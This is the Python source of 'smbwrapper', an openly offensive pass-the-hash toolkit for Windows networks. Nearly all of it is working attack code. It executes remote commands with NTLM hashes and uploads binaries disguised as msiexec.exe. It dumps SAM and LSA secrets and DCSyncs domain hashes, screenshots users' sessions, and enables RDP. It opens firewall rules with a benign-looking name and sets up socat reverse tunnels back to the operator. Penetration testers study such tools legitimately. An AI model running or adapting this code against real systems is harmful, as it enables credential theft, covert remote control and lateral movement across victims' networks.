#!/usr/bin/env python # Copyright (C) 2015 jeremy s. # Contact: jrm` on irc.freenode.net # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation, either version 3 of the License, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # You should have received a copy of the GNU General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. import sys, os, time, string, socket, subprocess, inspect from multiprocessing import Process try: from netaddr import IPNetwork except: print "[!] Please install the python-netaddr extension." sys.exit(1) try: import sqlite3 except: print "[!] Please install python-sqlite3 extension." sys.exit(1) __version__ = '1.0.2alpha' __author__ = 'jrm`' __description__ = 'Run stuff remotely - Pass the Hash' BASEDIR = os.path.dirname(os.path.realpath(__file__)) + '/tools' TOOLS = { 'smbclient': BASEDIR + '/smbclient', # Version with Pass-The-Hash support 'winexe': BASEDIR + '/winexe-1.1-x64-static', # Version with Pass-The-Hash support 'vsscpy': BASEDIR + '/win/vsscpy.vbs', 'xfreerdp': BASEDIR + '/xfreerdp', 'socat': BASEDIR + '/socat', 'socat.tar': BASEDIR + '/win/socat.tar', 'tar': BASEDIR + '/win/tar.exe', 'nircmd': BASEDIR + '/win/nircmd.exe', 'runastask': BASEDIR + '/win/runastask.exe', 'logparser': BASEDIR + '/win/logparser.exe', 'mbsa': {'dll': BASEDIR + '/win/mbsa/%s/wusscan.dll', 'exe': BASEDIR + '/win/mbsa/%s/mbsacli.exe', 'cab': BASEDIR + '/win/mbsa/wsusscn2.cab', 'bat': BASEDIR + '/win/mbsa/mbsa.bat'}, } CONF = { 'system': False, 'creds_file': os.environ['HOME'] + '/.smbwrapper.vault', 'verbose': True, 'smb_user': '', 'smb_pass': '', 'smb_hash': '', 'smb_ip': '', 'threaded_mode': False, } def hostname_or_range_to_ip_list(hostname_or_range): # If this is an IP or IP range (CIDR representation) try: return [str(i) for i in IPNetwork(hostname_or_range)] except: pass # If this is a hostname # If this fails, we have a problem with the input. try: return socket.gethostbyname_ex(hostname_or_range)[2] except: text("[!] Unable to resolve: %s" % (hostname_or_range)) return [] def ip_argument_to_ip_list(input): ip_list = [] if os.path.exists(sys.argv[2]): with open(sys.argv[2], "r") as f: for line in f: ip_list += hostname_or_range_to_ip_list(line.strip()) else: ip_list = hostname_or_range_to_ip_list(sys.argv[2]) return ip_list def start_threaded_command(command, ip): CONF['smb_ip'] = ip if sys.argv[1] not in ['rdp', 'mount']: check_host() try: globals()[command]() except KeyboardInterrupt: text("\r[*] Stopping thread...", 1) def main(): sys.argv[0] = os.path.basename(sys.argv[0]) if len(sys.argv) < 2 or '-h' in sys.argv or 'help' in sys.argv: usage() # Enable LocalSystem elevation where possible if '-s' in sys.argv: CONF['system'] = True sys.argv = [x for x in sys.argv if x != '-s'] # Use an alternate credential vault if '-f' in sys.argv: pos = sys.argv.index('-f') try: CONF['creds_file'] = sys.argv[pos+1] del sys.argv[pos:pos+1] except: text("[!] Option -f requires an argument.", 1) check_vault() if not os.path.exists(CONF['creds_file']): text("[!] %s: file not found." % CONF['creds_file'], 1) # Check command validity and jump to main function command = 'smb_%s' % sys.argv[1] if command in dict(get_commands()).keys(): if len(sys.argv) < 3: usage() if sys.argv[1] not in ['creds', 'hash', 'dcsync'] and 'update' not in sys.argv: # # Here starts the multiprocessing part. # # Important note: # # Variable definition on a multiprocessed "thread" is independant # from the others threads. # This means a variable defined in the main-thread will be available # in the childs but every changes made in the childs won't be # available for the main thread or the other threads. # In this particular case, this is greatly helping us. ip_list = [] # First, we need to check if the ip specified is: # - A file containing unique IPs # - An ip specification (ip/range) # Whatever the mode is, we need to compute all possible IPs from this. ip_list = ip_argument_to_ip_list(sys.argv[2]) ip_list = list(set(ip_list)) # We keep track of a process list to join them later on. process_list = [] if len(ip_list) > 1: CONF["threaded_mode"] = True for ip in ip_list: ip = str(ip).strip() # Start the threads and add them to the process list. p = Process(target=start_threaded_command, args=(command, ip)) p.start() process_list.append(p) # Finally, we wait for each thread to finish. for p in process_list: p.join() else: globals()[command]() else: text("[!] Not a valid smbwrapper command.", 1) def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def text(txt, e = False): if CONF['verbose']: if txt[0] == "\n": chars = txt[1:4] index = 4 else: chars = txt[0:3] index = 3 if chars == '[*]': ret = color(txt[:index], 2, 1) + txt[index:] elif chars == '[!]': ret = color(txt[:index], 1, 1) + txt[index:] elif chars == '[i]': ret = color(txt[:index], 3, 1) else: ret = txt print ret if e: sys.exit(1) def check_vault(): # Creating the vault if it doesn't exist if not os.path.exists(CONF['creds_file']): cursor = sqlite3.connect(CONF['creds_file']) cursor.execute('CREATE TABLE creds (active INTEGER, username varchar(32), password varchar(32), ntlm_hash varchar(32), comment varchar(256))') cursor.commit() cursor.close() def check_creds(): check_tool('smbclient') check = smbclient('quit') if 'NT_STATUS' in check: text('[!] %s' % check, 1) return True def check_tool(tool): if tool in TOOLS.keys(): return check_tool(TOOLS[tool]) if isinstance(TOOLS[tool], dict) else check_path(TOOLS[tool]) return False def check_host(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect((CONF['smb_ip'], 445)) sock.close() except: text("[!] %s Error(check_host): port 445 unreachable" % CONF['smb_ip'], 1) def check_path(path): if '%s' in path: check_path(path % 'x86') check_path(path % 'x64') else: if not os.path.exists(path): text("[!] %s Error(check_path): %s: file not found." % (CONF['smb_ip'], path), 1) return True def get_commands(): funcs = {} for a, b in sys.modules[__name__].__dict__.iteritems(): if a.startswith('smb_'): funcs[id(b)] = a commands = [] for k in sorted(funcs): commands.append((funcs[k], str(globals()[funcs[k]].__doc__).strip())) return commands def usage(): try: c = os.path.basename(sys.argv[1]) except: c = 'help' f = os.path.basename(__file__) print color(f +" v%s by %s - %s\n" % (__version__, __author__, __description__), 6, 1) print color(f +" -h", 7, 1) +" \t\t\t This help" print color(f +" -f <file>", 7, 1) +"\t\t Specify an alternative credential vault" if c == 'help': print "" print " " + color("The following commands are currently implemented:\n", 7, 4) else: print "" print color("Command usage:\n", 7, 4); for cmd in get_commands(): if c == 'help' or c == cmd[0][4:]: print " %s %s %s" % (color(f, 3, 3), color(cmd[0][4:], 3, 1), cmd[1]) print "" print " If the command supports it, use the "+ color("'-s'", 7, 1) +" option to attempt remote LocalSystem elevation.\n" print " Instead of using username+password or username+hash on the commandline," print " you can use the "+ color("smb.py", 3, 3) + " " + color("creds", 3, 1) +" command to populate the credential vault.\n" print " Usernames must be specified using the "+ color("DOMAIN\\LOGIN", 7, 1) +" syntax.\n" print " See usage examples at: " + color('https://github.com/jrmdev/smbwrapper/blob/master/README.md', 4, 4) print "" sys.exit(0) def creds_from_vault(): cursor = sqlite3.connect(CONF['creds_file']) # Get the number of active credentials res = cursor.execute("SELECT COUNT(*) AS count FROM creds WHERE active=1") (count,) = res.fetchone() if count == 0: text("[!] No credentials to use. Use the %s creds command to add some." % sys.argv[0], 1) res = cursor.execute("SELECT username, password, ntlm_hash FROM creds WHERE active=1 LIMIT 1") for row in res: CONF['smb_user'] = row[0] CONF['smb_pass'] = row[1] CONF['smb_hash'] = row[2] os.environ['SMBHASH'] = '00000000000000000000000000000000:' + CONF['smb_hash'] cursor.close() def creds_from_cmdline(): # Parsing command line to get credentials to use CONF['smb_user'] = sys.argv[3] if all(c in string.hexdigits for c in sys.argv[4]) and len(sys.argv[4]) == 32: CONF['smb_pass'] = '' CONF['smb_hash'] = sys.argv[4] os.environ['SMBHASH'] = '00000000000000000000000000000000:' + CONF['smb_hash'] else: CONF['smb_pass'] = sys.argv[4] CONF['smb_hash'] = ntlm_hash(sys.argv[4]) del sys.argv[2:4] def set_creds(length): if len(sys.argv) >= length+2: creds_from_cmdline() elif len(sys.argv) >= length: creds_from_vault() else: usage() CONF['smb_user'] = CONF['smb_user'].replace('\\', '/') if '/' in CONF['smb_user']: CONF['smb_domain'], CONF['smb_user'] = CONF['smb_user'].split('/') else: CONF['smb_domain'] = '' def ntlm_hash(str): import hashlib, binascii h = hashlib.new('md4', str.encode('utf-16le')).digest() return binascii.hexlify(h).upper() def download_file(src, dst, statusbar = True): from urllib2 import urlopen u = urlopen(src) f = open(dst, 'wb') meta = u.info() file_size = int(meta.getheaders("Content-Length")[0]) if file_size == 0: text("[!] %s Error(download_file): File empty." % (CONF['smb_ip'])) file_size_dl = 0 block_sz = 8192 text("[i][%s] File size: %i." % (CONF['smb_ip'], file_size)) try: while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) except KeyboardInterrupt: f.close() text("[*] %s Exiting..." % (CONF['smb_ip']), 1) f.close() def smbclient(cmd): check_tool('smbclient') creds = '%s/%s%%%s' % (CONF['smb_domain'], CONF['smb_user'], CONF['smb_pass']) run = [] run.append(TOOLS['smbclient']) run.append('-U') run.append(creds) run.append('//'+ CONF['smb_ip'] +'/c$') run.append('-c') run.append(cmd) process = subprocess.Popen(run, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) ret = process.stdout.read() ret = ret.replace('\x00', '') return ret.strip() def winexe(cmd): check_tool('winexe') creds = '%s/%s%%%s' % (CONF['smb_domain'], CONF['smb_user'], CONF['smb_pass']) run = [] run.append(TOOLS['winexe']) if CONF['system']: run.append('--system') run.append('--uninstall') run.append('--interactive=0') run.append('-U') run.append(creds) run.append('//'+ CONF['smb_ip']) run.append(cmd) if not cmd.lower().startswith('cmd'): process = subprocess.Popen(run, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT) ret = process.stdout.read() ret = ret.replace('\x00', '') return ret.strip() # For an interactive command line, don't use popen os.spawnvpe(os.P_WAIT, run[0], run, os.environ) return '' def os_architecture(): return 32 if 'NO_SUCH_FILE' in smbclient('dir "\\Program Files (x86)"') else 64 def screen_resolution(): xrandr = subprocess.Popen(['xrandr', '--current'], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.readlines() for l in xrandr: if '*' in l: return l.split()[0].split('x') return ['1024', '768'] def up_and_exec(localcmd, delete_after = True): if os.path.exists(localcmd[0]): smbclient('put "%s" "\\windows\\temp\\msiexec.exe"' % localcmd[0]) ret = winexe('\\windows\\temp\\msiexec.exe %s' % ' '.join(localcmd[1:])) if delete_after: smbclient('del "\\windows\\temp\\msiexec.exe"') return ret else: text("[!] %s Error(up_and_exec): %s: file not found." % (CONF['smb_ip'], localcmd[0]), 1) def smb_creds(): """ [ list | set | del | use ] <user> <passwd/nthash> Manage SMB credentials """ if len(sys.argv) < 3: usage() if sys.argv[2] == 'list': cursor = sqlite3.connect(CONF['creds_file']) res = cursor.execute('SELECT * FROM creds') for row in res: print 'Active : %s' % ('*' if row[0] != 0 else '') print 'Username : %s' % row[1] print 'Passwd : %s' % row[2] print 'NT Hash : %s' % row[3] print 'Comment : %s' % row[4] print "-- " cursor.close() else: u = p = h = c = '' if len(sys.argv) > 3: u = sys.argv[3].split('\\', 2) if len(u) > 1: d = u.pop(0).upper() u = '%s\\%s' % (d, string.capwords(u.pop(0))) else: u = '\\'.join(u) if len(sys.argv) > 4: # We have a NT Hash instead of a password if all(c in string.hexdigits for c in sys.argv[4]) and len(sys.argv[4]) == 32: p = '' h = sys.argv[4].upper() else: p = sys.argv[4] h = ntlm_hash(p) if len(sys.argv) > 5: c = sys.argv[5] # Get the number of matching usernames in db for below use cursor = sqlite3.connect(CONF['creds_file']) res = cursor.execute("SELECT COUNT(*) AS count FROM creds WHERE LOWER(username)=LOWER(?)", (u,)) (count,) = res.fetchone() cursor.close() if sys.argv[2] == 'set' or sys.argv[2] == 'add': if len(sys.argv) >= 5: cursor = sqlite3.connect(CONF['creds_file']) # Insert or update credential if count == 0: cursor.execute("UPDATE creds SET active=0") cursor.execute("INSERT INTO creds VALUES(1, ?, ?, ?, ?)", (u, p, h, c)) cursor.commit() text("[*] Credentials added and marked as active.") else: cursor.execute("UPDATE creds SET active=0") cursor.execute("UPDATE creds SET active=1, password = ?, ntlm_hash = ?, comment = ? WHERE LOWER(username)=LOWER(?)", (p, h, c, u)) cursor.commit() text("[*] Credentials updated and marked as active.") cursor.close() if sys.argv[2] == 'del': if len(sys.argv) == 4: cursor = sqlite3.connect(CONF['creds_file']) # Delete credential if count == 1: cursor.execute("DELETE FROM creds WHERE LOWER(username)=LOWER(?)", (u,)) cursor.commit() text("[*] Credentials removed for '%s'." % u) else: text("[!] No such credentials in vault.") cursor.close() if sys.argv[2] == 'use': if len(sys.argv) == 4: cursor = sqlite3.connect(CONF['creds_file']) # Mark credential active if count == 1: cursor.execute("UPDATE creds SET active=0") cursor.execute("UPDATE creds SET active=1 WHERE LOWER(username)=LOWER(?)", (u,)) cursor.commit() text("[*] Active credentials set to '%s'." % u) else: text("[!] No credentials found for this username.") cursor.close() def smb_exec(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] <cmd> Execute a command remotely (use "cmd" for a command prompt) Warning: When using several IPs, it is strongly recommended not not to run an interactive cmd (due to parallelism). """ set_creds(4) check_creds() ret = winexe(' '.join(sys.argv[3:])) if CONF['threaded_mode']: text("[*] %s Execution result\n%s" % (CONF['smb_ip'], ret)) else: print ret def smb_upexec(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] <localfile.exe [-arg1 [-argx]]> Upload a file and run it remotely with the specified arguments """ set_creds(4) check_creds() ret = up_and_exec(sys.argv[3:]) text("\n[*] %s Execution result\n%s\n" % (CONF['smb_ip'], ret)) def smb_upload(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] <localfile> <remotefile> Upload a file to the host """ set_creds(5) check_creds() if len(sys.argv) != 5: usage() if os.path.exists(sys.argv[3]): ret = smbclient('put "%s" "%s"' % (sys.argv[3], sys.argv[4])) text("\n[*] %s Upload result\n%s\n" % (CONF['smb_ip'], ret)) else: text("[!] %s Error(smb_upload): %s: file not found." % (CONF['smb_ip'], sys.argv[3]), 1) def smb_download(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] <remotefile> <localfile> Download a file from the host. Note: smbwrapper will automatically rename the localfile using the target ip. This only happens when running against several hosts. """ set_creds(5) check_creds() if len(sys.argv) != 5: usage() if CONF["threaded_mode"]: localfile = "%s-%s" % (sys.argv[4], CONF["smb_ip"]) else: localfile = sys.argv[4] remotefile = sys.argv[3] ret = smbclient('get "%s" "%s"' % (remotefile, localfile)) text("\n[*] %s Download result\n%s\n" % (CONF['smb_ip'], ret)) def smb_check(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] Check whether the current credentials work on the specified IP or range """ set_creds(3) check = smbclient('quit') if 'NT_STATUS' in check: text('[!] %s: %s' % (current_ip.strip(), check)) else: text('[*] %s: Login OK' % current_ip.strip()) def smb_dcsync(): """ [-s] <ip> [ user ] [ passwd/nthash ] [ -history ] Dump domain users hashes using DRSUAPI method (AD Replication) """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) ### The following is using secretsdump.py from impacket ### try: import secretsdump except: print color('[!] Please install python-impacket to use this function.') sys.exit(1) set_creds(3) class opts: use_vss = False aesKey = None system = None security = None sam = None ntds = None history = True if '-history' in sys.argv else False outputfile = None k = False just_dc = False just_dc_ntlm = True pwd_last_set = False hashes = None options = opts() if len(CONF['smb_hash']): opts.hashes = '00000000000000000000000000000000:%s' % CONF['smb_hash'] dumper = secretsdump.DumpSecrets(CONF['smb_ip'], username=CONF['smb_user'], domain=CONF['smb_domain'], password=CONF['smb_pass'], options=options) dumper.dump() def smb_creddump(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] Extract SAM, SECURITY, SYSTEM hives and dump SAM, DCC, LSA Secrets """ try: sys.path.insert(0, BASEDIR + '/creddump') from framework.win32 import hashdump, domcachedump, lsasecrets except: text("[!] Error: Creddump dependency missing.", 1) set_creds(3) text("[*] %s Extracting hives..." % (CONF["smb_ip"])) tmpfile = '/tmp/cred_run.%s.bat' % (CONF["smb_ip"]) bat = ['@echo off', 'cd \\windows\\temp', 'reg save HKLM\\SAM sam.hive /y', 'reg save HKLM\\SYSTEM system.hive /y', 'reg save HKLM\\SECURITY security.hive /y'] open(tmpfile, 'w').write('\r\n'.join(bat)) smbclient('put "%s" "\\windows\\temp\\cred_run.bat"' % tmpfile) text("[*] %s Running cred_run.bat\n%s\n" % (CONF["smb_ip"], winexe('\\windows\\temp\\cred_run.bat'))) text("[*] %s Downloading hives..." % (CONF["smb_ip"])) smbclient('get "\\windows\\temp\\sam.hive" "%s_sam.hive"' % CONF['smb_ip']) smbclient('get "\\windows\\temp\\system.hive" "%s_system.hive"' % CONF['smb_ip']) smbclient('get "\\windows\\temp\\security.hive" "%s_security.hive"' % CONF['smb_ip']) text("[*] %s Removing temp files..." % (CONF["smb_ip"])) smbclient('del "\\windows\\temp\\cred_run.bat"') smbclient('del "\\windows\\temp\\sam.hive"') smbclient('del "\\windows\\temp\\system.hive"') smbclient('del "\\windows\\temp\\security.hive"') os.unlink(tmpfile) text("[*] %s Extracting SAM credentials..." % (CONF["smb_ip"])) hashes = hashdump.dump_file_hashes(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_sam.hive') text("[*] %s Extracting MSCASH credentials..." % (CONF["smb_ip"])) mscash = domcachedump.dump_file_hashes(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_security.hive') text("[*] %s SAM hashes\n%s" % (CONF["smb_ip"], "\n".join(hashes))) text("[*] %s MsCash\n%s" % (CONF["smb_ip"], "\n".join(mscash))) # Code below ripped from creddump's lsadump.py text("[*] %s Extracting LSA Secrets..." % (CONF["smb_ip"])) try: FILTER = ''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) secrets = lsasecrets.get_file_secrets(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_security.hive') if not secrets: text("[!] %s Error(smb_creddump): Unable to read LSA secrets." % (CONF["smb_ip"])) else: secrets = [] for k in secrets: N = 0 length = 16 result = '' while secrets[k]: s, secrets[k] = secrets[k][:length],secrets[k][length:] hexa = ' '.join(["%02X" % ord(x) for x in s]) s = s.translate(FILTER) result += "%04X %-*s %s\n" % (N, length*3, hexa, s) N += length secrets.append(k) secrets.append(result) text("[*] %s LSA Secrets\n%s" % (CONF["smb_ip"], "\n".join(secrets))) except: pass text("[*] %s SYSTEM, SAM and SECURITY hives were saved in the current directory." % (CONF["smb_ip"])) def smb_lastlog(): """ [-s] <ip> [ user ] [ passwd/nthash ] <username> Retrieves last known IPs for given user from the DC's Event Logs. Provide DC IP. """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) set_creds(4) check_tool('logparser') check_creds() text("[*] Getting last 3 known IP addresses...") smbclient('put "%s" "\\windows\\temp\\msiexec.exe"' % TOOLS['logparser']) print winexe("\\windows\\temp\\msiexec.exe -q -i EVT \"SELECT TOP 3 EXTRACT_TOKEN(Strings, 6, '|') AS Domain, EXTRACT_TOKEN(Strings, 5, '|') AS User, EXTRACT_TOKEN(Strings, 18, '|') AS IP FROM Security WHERE EventType=8 /*AND EventCategory=12544*/ AND STRLEN(IP) > 3 AND User='%s'\""% sys.argv[3]) smbclient('del "\\windows\\temp\\msiexec.exe"') def smb_scrshot(): """ [-s] <ip/file/range> [ user ] [ passwd/nthash ] Takes a screenshot of the active session """ set_creds(3) check_tool('runastask') check_tool('nircmd') text("[*] %s Uploading tools..." % (CONF["smb_ip"])) smbclient('put "%s" "\\windows\\temp\\r.exe"' % TOOLS['runastask']) smbclient('put "%s" "\\windows\\temp\\n.exe"' % TOOLS['nircmd']) text("[*] %s Capturing screenshot..." % (CONF["smb_ip"])) filename = '/tmp/screenshot.%s.%s.png' % (CONF["smb_ip"], str(time.time())) winexe('\\windows\\temp\\r.exe %s C:\\windows\\temp\\n.exe savescreenshotfull C:\\windows\\temp\\s.png' % CONF['smb_user']) smbclient('get "\\windows\\temp\\s.png" "%s"' % filename); text("[*] %s Cleaning files..." % (CONF["smb_ip"])) smbclient('del "\\windows\\temp\\n.exe"') smbclient('del "\\windows\\temp\\r.exe"') smbclient('del "\\windows\\temp\\s.png"') if os.path.exists(filename): text("[*] %s Screenshot saved under %s." % (CONF["smb_ip"], filename)) os.system('display "%s" &' % filename) text("[*] %s Done." % (CONF["smb_ip"])) else: text("[!] %s Error(smb_scrshot): Is the user logged in?." % (CONF["smb_ip"]), 1) def smb_vsscpy(): """ [-s] <ip> [ user ] [ passwd/nthash ] <remotefile> <localfile> Use shadow copies to download a locked file from the host """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) check_tool('vsscpy') set_creds(5) if len(sys.argv) != 5: usage() check_creds() remotefile = sys.argv[3] localfile = "%s-%s" % (sys.argv[4], CONF["smb_ip"]) text("[*] %s Uploading script..." % (CONF["smb_ip"])) smbclient('put "%s" "\\windows\\temp\\vsscpy.vbs"' % TOOLS['vsscpy']) text("[*] %s Running script..." % (CONF["smb_ip"])) winexe('cscript \\windows\\temp\\vsscpy.vbs "%s"' % remotefile.lower().replace('c:', '')) text("[*] %s Downloading file to '%s'..." % (CONF["smb_ip"], localfile)) smbclient('get "\\windows\\temp\\temp.tmp" "%s"' % localfile) text("[*] %s Removing temp files..." % (CONF["smb_ip"])) smbclient('del "\\windows\\temp\\temp.tmp"') smbclient('del "\\windows\\temp\\vsscpy.vbs"') text("[*] %s Done." % (CONF["smb_ip"])) def smb_fwrule(action = None, param = None): """ [-s] <ip> [ user ] [ password ] <add | del> <program path | port number> Create or remove a rule in the Windows firewall """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) if len(inspect.stack()) == 3: # Function called directly from command line set_creds(5) check_creds() if len(sys.argv) != 5 or sys.argv[3] not in ['add', 'del']: usage() action = sys.argv[3] param = sys.argv[4] name = 'Core Networking - SMB' # Or whatever you want as a rule name param = str(param) text("[*] %sing firewall rule..." % ('Add' if action == 'add' else 'Delet')) if param.isdigit(): # Adding a port rule ret = winexe('netsh advfirewall firewall %s rule dir=in name="%s" %s protocol=TCP localport=%s' % (action, name, 'action=allow' if action == 'add' else '', param)) else: # Adding a program rule ret = winexe('netsh advfirewall firewall %s rule dir=out name="%s" %s program="%s"' % (action, name, 'action=allow' if action == 'add' else '', param)) if 'Ok.' in ret: text("[*] Success.") else: text("[!] Failed.") def smb_mount(): """ <ip> [ user ] [ password ] <share> <localpath> Mount a remote share locally via CIFS (Pass-the-Hash not available) """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) set_creds(5) if len(sys.argv) != 5: usage() share = sys.argv[3] localdir = sys.argv[4] if not os.path.exists(localdir): os.mkdir(localdir) if CONF['smb_pass'] == '': text("[!] Pass-The-Hash not available for mount.", 1) opts = ['password='+ CONF['smb_pass'], 'uid='+ str(os.getuid()), 'gid='+ str(os.getgid()), 'file_mode=0644', 'dir_mode=0755'] if '\\' in CONF['smb_user']: opts += CONF['smb_user'].split('\\') else: opts += ['username='+ CONF['smb_user']] os.system('sudo mount -t cifs -o "%s" "//%s/%s" "%s"' % (','.join(opts), CONF['smb_ip'], share, localdir)) def smb_rdp(): """ <ip> [ user ] [ passwd/nthash ] [ enable | disable ] Open a Remote Desktop session using xfreerdp (Pass-the-Hash = restricted admin) """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) if 'enable' in sys.argv: set_creds(4) text("[*] %s Updating Registry..." % (CONF["smb_ip"])) winexe('reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f') smb_fwrule('add', 3389) sys.exit(0) if 'disable' in sys.argv: set_creds(4) text("[*] %s Updating Registry..." % (CONF["smb_ip"])) winexe('reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f') smb_fwrule('del', 3389); sys.exit(0) set_creds(3) check_tool('xfreerdp') res = screen_resolution() max_res = '%dx%d' % (int(res[0]), int(res[1]) - 50) run = [] run.append(TOOLS['xfreerdp']) run.append('/size:%s' % max_res) run.append('/t:%s' % CONF['smb_ip']) run.append('/v:%s' % CONF['smb_ip']) if '\\' in CONF['smb_user']: tab = CONF['smb_user'].split('\\', 2) run.append('/d:%s' % tab[0]) run.append('/u:%s' % tab[1]) else: run.append('/u:%s' % CONF['smb_user']) if CONF['smb_pass'] == '': text("[!] Note: Pass-the-Hash with RDP only works for local admin accounts and under the restricted admin mode.") run.append('/pth:%s' % CONF['smb_hash']) run.append('/restricted-admin') else: run.append('/p:%s' % CONF['smb_pass']) # Tweak the following to suit your needs run.append("+clipboard") run.append("+home-drive") run.append("-decorations") run.append("/cert-ignore") # baaad. os.spawnvpe(os.P_WAIT, run[0], run, os.environ) def smb_portfwd(lport = None, rhost = None, rport = None): """ [-s] <ip> [ user ] [ passwd/nthash ] <lport> <rhost> <rport> Forward a remote port to a remote address """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) if len(inspect.stack()) == 3: # Function called directly from command line set_creds(6) check_creds() if len(sys.argv) != 6: usage() lport = int(sys.argv[3]) rport = int(sys.argv[5]) rhost = sys.argv[4] text("[*] Setting up port forwarding...") ret = winexe("netsh interface portproxy add v4tov4 listenport=%d connectport=%d connectaddress=%s" % (lport, rport, rhost)) text("[i] Connections to %s:%d are now forwarded to %s:%d" % (CONF['smb_ip'], lport, rhost, rport)) text("[i] Hit CTRL+C when done...") try: raw_input() except KeyboardInterrupt: sys.stdout.write('\r') text("[*] Stopping port forwarding...") winexe('netsh interface portproxy reset') text("[*] Done.") def smb_revfwd(lport = None, rhost = None, rport = None): """ [-s] <ip> [ user ] [ passwd/nthash ] <lport> <rhost> <rport> Reverse-forward a remote address/port locally """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) if len(inspect.stack()) == 3: # Function called directly from command line set_creds(6) check_creds() if len(sys.argv) != 6: usage() lport = int(sys.argv[3]) rport = int(sys.argv[5]) rhost = sys.argv[4] check_tool('socat.tar') check_tool('socat') check_tool('tar') local_if = subprocess.Popen(['ip', 'route', 'get', 'to', CONF['smb_ip']], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.readlines()[0] local_if = local_if.strip().split()[-1] text("[*] Uploading files...") smbclient('put "%s" "\\windows\\temp\\tar.exe"' % TOOLS['tar']) smbclient('put "%s" "\\windows\\temp\\socat.tar"' % TOOLS['socat.tar']) winexe('\\windows\\temp\\tar.exe xf /windows/temp/socat.tar -C /windows/temp') text("[*] Setting up local listener...") process = subprocess.Popen([ TOOLS['socat'], 'TCP-LISTEN:%d,bind=%s,reuseaddr,fork' % (lport, local_if), 'TCP-LISTEN:56789,reuseaddr' ]) smb_fwrule('add', 'C:\\windows\\temp\\socat\\socat.exe') text("[*] Creating reverse tunnel..."); text("[i] %s:%d <--> %s:56789 <--> %s:%d" % (rhost, rport, CONF['smb_ip'], local_if, lport)) text("[i] Now point your client to %s:%d" % (local_if, lport)) winexe('\\windows\\temp\\socat\\socat.exe TCP:%s:56789,forever,interval=1 TCP:%s:%d' % (local_if, rhost, rport)) text("[*] Cleaning up..."); winexe('cmd /c del /f/q \\windows\\temp\\socat.tar \\windows\\temp\\tar.exe & rmdir /q/s \\windows\\temp\\socat'); process.terminate() smb_fwrule('del', 'C:\\windows\\temp\\socat\\socat.exe'); text("[*] Done."); def smb_mbsa(): """ [-s] <ip> [ user ] [ passwd/nthash ] [ update ] Run MBSA on the remote host """ if CONF["threaded_mode"]: text("[!] Function not available when running for several hosts.", 1) if not os.path.exists(TOOLS['mbsa']['cab']) or sys.argv[2] == 'update': text("[*] Downloading MBSA catalog updates...") download_file("http://go.microsoft.com/fwlink/?LinkId=76054", TOOLS['mbsa']['cab']) text("[*] Done.") set_creds(3) check_tool('mbsa') text("[*] Preparing MBSA...") arch = 'x86' if os_architecture() == 32 else 'x64' TOOLS['mbsa']['exe'] = TOOLS['mbsa']['exe'] % arch TOOLS['mbsa']['dll'] = TOOLS['mbsa']['dll'] % arch import tarfile archive = tarfile.open('/tmp/mbsa.tar', mode='w') try: for k, v in TOOLS['mbsa'].iteritems(): archive.add(v, arcname=os.path.basename(v)) finally: archive.close() text("[*] Uploading files...") smbclient('put "%s" "\\windows\\temp\\tar.exe"' % TOOLS['tar']) smbclient('put "/tmp/mbsa.tar" "\\windows\\temp\\mbsa.tar"') smbclient('mkdir \\windows\\temp\\mbsa') os.unlink('/tmp/mbsa.tar') text("[*] Running...") winexe('\\windows\\temp\\tar.exe xf /windows/temp/mbsa.tar -C /windows/temp/mbsa') winexe('\\windows\\temp\\mbsa\\mbsa.bat') text("[*] Downloading results...") smbclient('get "\\windows\\temp\\mbsa\\results.xml" "/tmp/mbsa_%s.xml"' % CONF['smb_ip']); text("[*] Cleaning up..."); winexe('cmd /c del /f/q \\windows\\temp\\mbsa.tar \\windows\\temp\\tar.exe & rmdir /q/s \\windows\\temp\\mbsa'); if os.path.exists('/tmp/mbsa_%s.xml' % CONF['smb_ip']): text("[*] Excel-friendly results saved under /tmp/mbsa_%s.xml" % CONF['smb_ip']) else: text("[!] Failed.") def smb_hash(): """ <plaintext> Generate a NTLM hash from a plaintext """ print ntlm_hash(sys.argv[2]) if __name__ == "__main__": main()